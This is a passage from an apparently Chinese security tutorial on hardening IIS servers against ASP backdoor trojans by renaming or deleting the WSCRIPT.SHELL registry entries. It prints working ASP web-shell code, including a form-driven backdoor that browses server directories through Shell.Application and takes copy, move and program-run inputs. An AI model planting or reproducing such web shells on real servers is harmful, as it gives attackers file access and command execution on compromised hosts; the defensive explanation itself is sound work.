对于防范方法让我们看一下它的代码就知道了：
Set oScript = Server.CreateObject("WSCRIPT.SHELL") ＂建立了一个名为oScript的WSCRIPT.SHELL对象，用于命令的执行＂
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
上面三行代码创建了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个对象，我们只要在注册表中把控制WSCRIPT.SHELL对象的项改名或删除就可以了。如下图：值得注意的是：我们应该把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要改名或删除。因为如我们只修改“WSCRIPT.SHELL”项的话。那么黑客们只要把代码修改如下：Set oScript = Server.CreateObject("WSCRIPT.SHELL.1") 这个后门木马就又可以执行了。
大家可能已经想到了，我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”改名时，一定要不容易被黑客们猜到，因为例如：你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只要把代码相应的改成：Set oScript = Server.CreateObject("WSCRIPT.SHELL888")，木马程序就又可以执行了。还有就修改了注册表以后要重起WEB服务，设置才会有效。
接下来让我们再来看下一款ASP后门木马程序的代码：
＜%response.write "＜font size=6 color=red＞一次只能执行一个xx作＜/font＞" %＞
＜%response.write now()%＞
程序所在的物理路径：
＜%response.write request.servervariables("APPL_PHYSICAL_PATH")%＞
＜html＞
＜title＞asps shell.application backdoor ＜/title＞
＜body＞
＜form action="＜%= Request.ServerVariables("URL") %＞" method="POST"＞
＜input type=text name=text value="＜%=szCMD %＞"＞ 输入要浏览的目录
＜input type=text name=text1 value="＜%=szCMD1 %＞"＞
copy
＜input type=text name=text2 value="＜%=szCMD2 %＞"＞
＜input type=text name=text3 value="＜%=szCMD3 %＞"＞
move
＜input type=text name=text4 value="＜%=szCMD4 %＞"＞
路径：＜input type=text name=text5 value="＜%=szCMD5 %＞"＞
程序：＜input type=text name=text6 value="＜%=szCMD6 %＞"＞
＜input type=submit name=sb value=发送命令＞
＜/form＞
＜/body＞
＜/html＞
＜%
szCMD = Request.Form("text") 目录浏览
if (szCMD ＜＞ "") then
set shell=server.createobject("shell.application") 建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "＜font color=red＞" & co.path & "-----" & co.size & "＜/font＞
"
next
end if
%＞
更多内容请看PCdog.com--病毒/木马/蠕虫 解析木马专题
